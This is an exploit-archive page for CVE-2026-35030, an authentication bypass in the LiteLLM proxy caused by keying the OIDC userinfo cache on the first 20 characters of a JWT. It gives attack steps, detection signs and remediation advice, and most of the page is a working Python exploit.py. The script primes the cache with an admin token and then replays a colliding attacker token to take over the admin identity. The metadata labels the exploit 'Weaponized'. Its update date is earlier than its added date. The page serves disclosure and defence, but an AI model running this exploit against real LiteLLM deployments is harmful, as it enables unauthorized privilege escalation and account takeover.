PoC Archive PoC Archive
Critical CVE-2026-35030 patched

LiteLLM Authentication Bypass via OIDC Userinfo Cache Key Collision (CVE-2026-35030)

by learner202649 · 2026-07-05

CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-35030
Category
web
Affected product
LiteLLM proxy (with enable_jwt_auth: true)
Affected versions
< 1.83.0
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04-06
Author / Researcherlearner202649
CVE / AdvisoryCVE-2026-35030
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3.1) / 9.4 (CVSSv4)
StatusWeaponized
Tagsauthentication-bypass, litellm, oidc, jwt, cache-collision, ai-gateway, cwe-287
RelatedN/A

Affected Target

FieldValue
Software / SystemLiteLLM proxy (with enable_jwt_auth: true)
Versions Affected< 1.83.0
Language / PlatformPython (target); Python PoC
Authentication RequiredNo (unauthenticated attacker can hijack another user’s cached identity)
Network Access RequiredYes (HTTP to LiteLLM proxy + attacker-controlled OIDC provider)

Summary

LiteLLM’s OIDC userinfo cache uses only the first 20 characters of the presented JWT (token[:20]) as its cache key. Two different, validly-signed JWTs can be crafted to share identical first-20-character prefixes, allowing an unauthenticated attacker to forge a token that collides with and inherits another user’s cached identity and permissions.


Vulnerability Details

Root Cause

The OIDC userinfo cache keys entries by token[:20] instead of a full cryptographic hash of the token, making cache-key collisions craftable.

Attack Vector

  1. Stand up a malicious OIDC provider that signs JWTs with an attacker-chosen algorithm/claims.
  2. Craft a JWT whose first 20 characters collide with a legitimate cached victim token.
  3. Present the forged JWT to the LiteLLM proxy; the cache lookup returns the victim’s cached userinfo/permissions.

Impact

Unauthenticated attacker can inherit another authenticated user’s LiteLLM identity and access permissions via cache-key collision.


Environment / Lab Setup

Target:   LiteLLM proxy < 1.83.0 with enable_jwt_auth: true
Attacker: Python 3 + requests, Docker (lab with mock OIDC provider)

Proof of Concept

PoC Script

See exploit.py and token_forge.py in this folder.

1
python3 exploit.py --target http://litellm-proxy:4000

Runs a local mock OIDC provider, forges a colliding JWT via token_forge.py, and demonstrates identity/permission inheritance from a victim’s cached session.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected userinfo cache hits across different JWT signatures
  • API access patterns showing session/permission overlap between unrelated tokens

Remediation

ActionDetail
Primary fixUpgrade to LiteLLM 1.83.0+, which changes the cache key to sha256(token)
Interim mitigationDisable JWT-based OIDC auth caching or reduce cache TTL to near-zero until upgraded

References


Notes

Mirrored from https://github.com/learner202649/CVE-2026-35030-PoC on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#!/usr/bin/env python3
"""
CVE-2026-35030 — LiteLLM OIDC Userinfo Cache Key Collision Exploit

Demonstrates authentication bypass by exploiting the weak cache key
(token[:20]) in LiteLLM's OIDC userinfo cache.

The attack:
  1. Obtain an admin JWT from the OIDC provider
  2. Send it to LiteLLM → triggers OIDC userinfo fetch → cached with key = token[:20]
  3. Obtain an attacker JWT (different user) with same signing algorithm
  4. The attacker JWT has the SAME first 20 characters → cache HIT
  5. LiteLLM returns the admin's cached userinfo → privilege escalation

Usage:
    # Default: demonstrate the collision (no actual exploit)
    python3 exploit.py --mode demo --target http://localhost:4000

    # Full exploit: authenticate as admin using attacker's token
    python3 exploit.py --mode exploit --target http://localhost:4000

    # Compare with fixed version
    python3 exploit.py --mode exploit --target http://localhost:4001 --fixed
"""

import argparse
import json
import sys

import requests

from token_forge import TokenCollider, analyze_token


def get_oidc_base(target: str) -> str:
    """Derive the OIDC mock base URL from the LiteLLM target.

    When running locally, the OIDC mock is at localhost:8000.
    When running inside Docker, use the container name.
    """
    return "http://localhost:8000"


def demo_collision(oidc_url: str):
    """Step 1: Demonstrate that two different JWTs share the same prefix."""
    print("=" * 70)
    print("CVE-2026-35030 — Cache Key Collision Demonstration")
    print("=" * 70)

    collider = TokenCollider(oidc_url)
    result = collider.get_two_tokens("admin", "attacker")

    print(f"\n[+] Admin JWT    (subject=admin):")
    print(f"    Token:     {result['admin_token'][:60]}...")
    print(f"    Prefix:    '{result['admin_prefix']}'")

    print(f"\n[+] Attacker JWT (subject=attacker):")
    print(f"    Token:     {result['attacker_token'][:60]}...")
    print(f"    Prefix:    '{result['attacker_prefix']}'")

    if result["collision"]:
        print(f"\n[🔥] COLLISION: Both tokens share the same first 20 characters!")
        print(f"    Reason: {result['collision_reason']}")
        print(f"\n    In LiteLLM, both tokens will produce the SAME cache key:")
        print(f"    cache_key = token[:20] = '{result['admin_prefix']}'")
        print(f"    → The attacker's request retrieves the ADMIN's cached userinfo.")
    else:
        print(f"\n[-] No collision detected (unexpected with RS256 JWTs)")
        return False

    # Show decoded headers to prove they're identical
    admin_analysis = result["analysis"]["admin"]
    attacker_analysis = result["analysis"]["attacker"]
    print(f"\n[+] Decoded JWT headers (identical → same prefix):")
    print(f"    Admin header:    {json.dumps(admin_analysis['header'])}")
    print(f"    Attacker header: {json.dumps(attacker_analysis['header'])}")

    print(f"\n[+] Decoded JWT payloads (different users):")
    print(f"    Admin payload:    sub={admin_analysis['payload'].get('sub')}, "
          f"groups={admin_analysis['payload'].get('groups')}")
    print(f"    Attacker payload: sub={attacker_analysis['payload'].get('sub')}, "
          f"groups={attacker_analysis['payload'].get('groups')}")

    return True


def test_litellm_health(target: str) -> bool:
    """Check if LiteLLM is reachable."""
    try:
        resp = requests.get(f"{target.rstrip('/')}/health", timeout=10)
        # /health returns 401 without auth key, but server is reachable
        if resp.status_code in (200, 401):
            return True
    except requests.RequestException:
        pass
    try:
        resp = requests.get(target.rstrip("/"), timeout=10)
        return resp.status_code == 200
    except requests.RequestException:
        return False


def attempt_exploit(target: str, oidc_url: str, is_fixed: bool = False):
    """
    Full exploit attempt: use the cache collision to escalate privileges.

    Steps:
      1. Get admin JWT from OIDC provider
      2. Send admin JWT to LiteLLM → triggers OIDC userinfo → cached
      3. Get attacker JWT (different user, same first 20 chars)
      4. Send attacker JWT → should hit the admin's cache entry
      5. Verify: LiteLLM treats the attacker as admin
    """
    tag = "FIXED" if is_fixed else "VULNERABLE"
    print(f"\n{'=' * 70}")
    print(f"[{tag}] Exploit Attempt — target: {target}")
    print(f"{'=' * 70}")

    if not test_litellm_health(target):
        print(f"[-] LiteLLM is not reachable at {target}")
        print("[-] Start the containers first: docker compose up -d")
        return False

    collider = TokenCollider(oidc_url)

    # Step 1: Get both tokens
    print("\n[*] Step 1: Obtaining JWTs from OIDC provider...")
    admin_data = collider.get_token("admin")
    attacker_data = collider.get_token("attacker")

    admin_token = admin_data["token"]
    attacker_token = attacker_data["token"]

    print(f"    Admin JWT prefix:    '{admin_token[:20]}'")
    print(f"    Attacker JWT prefix: '{attacker_token[:20]}'")
    print(f"    Prefix collision: {admin_token[:20] == attacker_token[:20]}")

    # Step 2: Send admin JWT to LiteLLM → populates cache
    print("\n[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...")
    admin_headers = {
        "Authorization": f"Bearer {admin_token}",
        "Content-Type": "application/json",
    }
    try:
        admin_resp = requests.get(
            f"{target.rstrip('/')}/user/info",
            headers=admin_headers,
            timeout=10,
        )
        print(f"    HTTP {admin_resp.status_code}")
        if admin_resp.status_code == 200:
            print(f"    Response: {json.dumps(admin_resp.json(), indent=4)}")
    except requests.RequestException as e:
        print(f"    Request failed: {e}")

    # Step 3: Send attacker JWT → should hit admin's cache entry
    print("\n[*] Step 3: Sending attacker JWT (cache collision attempt)...")
    attacker_headers = {
        "Authorization": f"Bearer {attacker_token}",
        "Content-Type": "application/json",
    }
    try:
        attacker_resp = requests.get(
            f"{target.rstrip('/')}/user/info",
            headers=attacker_headers,
            timeout=10,
        )
        print(f"    HTTP {attacker_resp.status_code}")
        if attacker_resp.status_code == 200:
            result = attacker_resp.json()
            print(f"    Response: {json.dumps(result, indent=4)}")
            # Check if we got admin identity
            # The /user/info endpoint returns LiteLLM's user format, which uses
            # 'user_id' not 'sub'. The cache collision means the attacker's request
            # returns the admin's user info.
            user_id = result.get("user_id", "")
            sub = result.get("sub", "")
            if user_id == "admin" or sub == "admin" or "admin" in str(result.get("groups", [])):
                print(f"\n[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!")
                print(f"    Attacker's token[:20] matched admin's cache key.")
                print(f"    Response user_id='{user_id}' (expected 'admin' for escalation)")
                if is_fixed:
                    print("    (Unexpected for fixed version — check config)")
            else:
                print(f"\n    [+] Attacker identified as user_id='{user_id}'.")
                if is_fixed:
                    print("    [+] Fixed version: cache collision prevented.")
    except requests.RequestException as e:
        print(f"    Request failed: {e}")

    print()
    return True


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-35030 — LiteLLM OIDC Cache Key Collision Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Demonstrate the cache key collision
  python3 exploit.py --mode demo

  # Full exploit against vulnerable instance
  python3 exploit.py --mode exploit -t http://localhost:4000

  # Show that fixed version is not vulnerable
  python3 exploit.py --mode exploit -t http://localhost:4001 --fixed
        """,
    )
    parser.add_argument("--mode", choices=["demo", "exploit"], default="demo",
                        help="demo: show cache collision | exploit: attempt auth bypass")
    parser.add_argument("-t", "--target", default="http://localhost:4000",
                        help="LiteLLM target URL")
    parser.add_argument("--oidc-url", default="http://localhost:8000",
                        help="OIDC provider base URL")
    parser.add_argument("--fixed", action="store_true",
                        help="Mark target as fixed (v1.83.0+)")
    args = parser.parse_args()

    if args.mode == "demo":
        success = demo_collision(args.oidc_url)
        if not success:
            sys.exit(1)
        print(f"\n{'=' * 70}")
        print("[*] To run the full exploit: python3 exploit.py --mode exploit")
        print(f"{'=' * 70}")
    else:
        attempt_exploit(args.target, args.oidc_url, is_fixed=args.fixed)


if __name__ == "__main__":
    main()